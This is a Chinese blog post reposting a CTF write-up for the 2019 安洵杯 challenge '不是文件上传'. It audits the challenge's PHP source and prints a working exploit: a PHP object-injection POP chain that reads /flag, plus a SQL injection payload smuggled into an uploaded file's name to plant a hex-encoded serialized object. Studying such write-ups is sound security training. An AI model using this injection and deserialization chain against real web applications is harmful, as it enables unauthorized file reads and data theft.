安洵杯2019-不是文件上传
Created At : 2025-04-29 20:59
Count:3k
Views 👀 :
安洵杯2019-不是文件上传 原文链接:https://blog.csdn.net/weixin_45642610/article/details/119463045
首先打开页面。
这里有点犟种了,他题目说了不是文件上传,我硬是试了半天。然后说是要看源码。github上把源码下下来
代码审计
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <!DOCTYPE html > <html > <head > <title > Image Upload</title > <link rel ="stylesheet" href ="./style.css" > <meta http-equiv ="content-type" content ="text/html;charset=UTF-8" /> </head > <body > <p align ="center" > <img src ="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width =300 length =150 > </p > <div align ="center" > <form name ="upload" action ="" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" > <input type ="Submit" value ="submit" > </form > </div > <br > <p > <a href ="./show.php" > You can view the pictures you uploaded here</a > </p > <br > <?php include ("./helper.php" );class upload extends helper { public function upload_base ( ) { $this ->upload (); } } if ($_FILES ){ if ($_FILES ["file" ]["error" ]){ die ("Upload file failed." ); }else { $file = new upload (); $file ->upload_base (); } } $a = new helper ();?> </body > </html >
show.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <!DOCTYPE html > <html > <head > <title > Show Images</title > <link rel ="stylesheet" href ="./style.css" > <meta http-equiv ="content-type" content ="text/html;charset=UTF-8" /> </head > <body > <h2 align ="center" > Your images</h2 > <p > The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p > <hr > <?php include ("./helper.php" );$show = new show ();if ($_GET ["delete_all" ]){ if ($_GET ["delete_all" ] == "true" ){ $show ->Delete_All_Images (); } } $show ->Get_All_Images ();class show { public $con ; public function __construct ( ) { $this ->con = mysqli_connect ("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno ($this ->con)){ die ("Connect MySQL Fail:" .mysqli_connect_error ()); } } public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query ($this ->con, $sql ); if ($result ->num_rows > 0 ){ while ($row = $result ->fetch_assoc ()){ if ($row ["attr" ]){ $attr_temp = str_replace ('\0\0\0' , chr (0 ).'*' .chr (0 ), $row ["attr" ]); $attr = unserialize ($attr_temp ); } echo "<p>id=" .$row ["id" ]." filename=" .$row ["filename" ]." path=" .$row ["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close ($this ->con); } public function Delete_All_Images ( ) { $sql = "DELETE FROM images" ; $result = mysqli_query ($this ->con, $sql ); } } ?> <p > <a href ="show.php?delete_all=true" > Delete All Images</a > </p > <p > <a href ="upload.php" > Upload Images</a > </p > </body > </html >
helper.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 <?php class helper { protected $folder = "pic/" ; protected $ifview = False; protected $config = "config.txt" ; public function upload ($input ="file" ) { $fileinfo = $this ->getfile ($input ); $array = array (); $array ["title" ] = $fileinfo ['title' ]; $array ["filename" ] = $fileinfo ['filename' ]; $array ["ext" ] = $fileinfo ['ext' ]; $array ["path" ] = $fileinfo ['path' ]; $img_ext = getimagesize ($_FILES [$input ]["tmp_name" ]); $my_ext = array ("width" =>$img_ext [0 ],"height" =>$img_ext [1 ]); $array ["attr" ] = serialize ($my_ext ); $id = $this ->save ($array ); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id .</p>" ; } public function getfile ($input ) { if (isset ($input )){ $rs = $this ->check ($_FILES [$input ]); } return $rs ; } public function check ($info ) { $basename = substr (md5 (time ().uniqid ()),9 ,16 ); $filename = $info ["name" ]; $ext = substr (strrchr ($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array ($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace ("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); } public function save ($data ) { if (!$data || !is_array ($data )){ die ("Something wrong!" ); } $id = $this ->insert_array ($data ); return $id ; } public function insert_array ($data ) { $con = mysqli_connect ("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno ($con )) { die ("Connect MySQL Fail:" .mysqli_connect_error ()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key =>$value ){ $key_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $key ); $value_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode ("," ,$sql_fields )).") VALUES(" .(implode ("," ,$sql_val )).")" ; mysqli_query ($con , $sql ); $id = mysqli_insert_id ($con ); mysqli_close ($con ); return $id ; } public function view_files ($path ) { if ($this ->ifview == False){ return False; } $content = file_get_contents ($path ); echo $content ; } function __destruct ( ) { $this ->view_files ($this ->config); } } ?>
构造pop链:
1 调用helper .php中的__destruct到方法view_files的file_get_contents
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class helper { protected $config = '/flag' ; protected $ifview = true ; }$a = new helper ();echo serialize ($a );echo "<br>" ;echo bin2hex (serialize ($a ));?>
现在需要一个反序列化来触发我们的pop链,在show.php里发现有个反序列化
这里是在反序列化helper类里我们上传的图片的高和宽
这里的5个参数会保存到数据库里。可以由第一行代码追溯getfile方法到check方法,得到这些参数的返回值
1 $fileinfo = $this->getfile($input)
1 2 3 4 5 6 7 public function getfile ($input ) { if (isset ($input )){ $rs = $this ->check ($_FILES [$input ]); } return $rs ; }
1 2 3 4 5 6 7 8 9 10 11 12 public function check ($info ) { $basename = substr (md5 (time ().uniqid ()),9 ,16 ); $filename = $info ["name" ]; $ext = substr (strrchr ($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array ($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace ("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); }
title:上传图片的文件名
filename:文件名+.后缀
ext:上传的图片的后缀
path:成员变量folder+…=/pic/…
attr:图像的高和宽数组
可以看到title没有进行过滤处理
然后可以由最后一行代码追溯到save方法->insert_array方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function insert_array ($data ) { $con = mysqli_connect ("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno ($con )) { die ("Connect MySQL Fail:" .mysqli_connect_error ()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key =>$value ){ $key_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $key ); $value_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode ("," ,$sql_fields )).") VALUES(" .(implode ("," ,$sql_val )).")" ; mysqli_query ($con , $sql ); $id = mysqli_insert_id ($con ); mysqli_close ($con ); return $id ; }
$sql_fields是5个列名即参数
$sql_val则是5个参数值
这里我们可以用title来注入,这里能将我们的数据写入数据库中
payload:
1 2 3 4 5 1 ','2 ','3 ','4 ',0x4f3a363a226865 6c70657222 3a323a7b733a393a2200 2a00696676696577 223b623a313b733a393a2200 2a0063 6f6e66696722 3b733a353a222f666c616722 3b7d)#.png 十六进制编码前: O:6:"helper":2:{s:9:".*.ifview";b:1;s:9:".*.config";s:5:"/flag";}
insert的sql语句为
1 2 3 4 5 6 7 8 9 10 11 INSERT INTO table_name ('column1' ,'column2' ,'column3' ,...)VALUES ('value1' ,'value2' ,'value3' ,...); 写入payload后INSERT INTO table_name ('column1' ,'column2' ,'column3' ,...)VALUES ('1' ,'2' ,'3' ,'4' ,0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d )#',' value2',' value3',...); 可以简化为 INSERT INTO table_name (' column1',' column2',' column3',...) VALUES (' 1 ',' 2 ',' 3 ',' 4 ',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)
这里value1就是title的值,即上面的payload。然后payload里的1,2,3,4,5对应5个参数。等于我们在value1这个位置闭合,所以最后要用#注释掉后面的内容。因为attr字段在最后所以要放在第5个位置。又因为上传的文件名不能有双引号,所以要用十六进制编码,然后前面一定要加上0x
上传一个图片然后把文件名改为payload上传,然后到show页面就能看到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。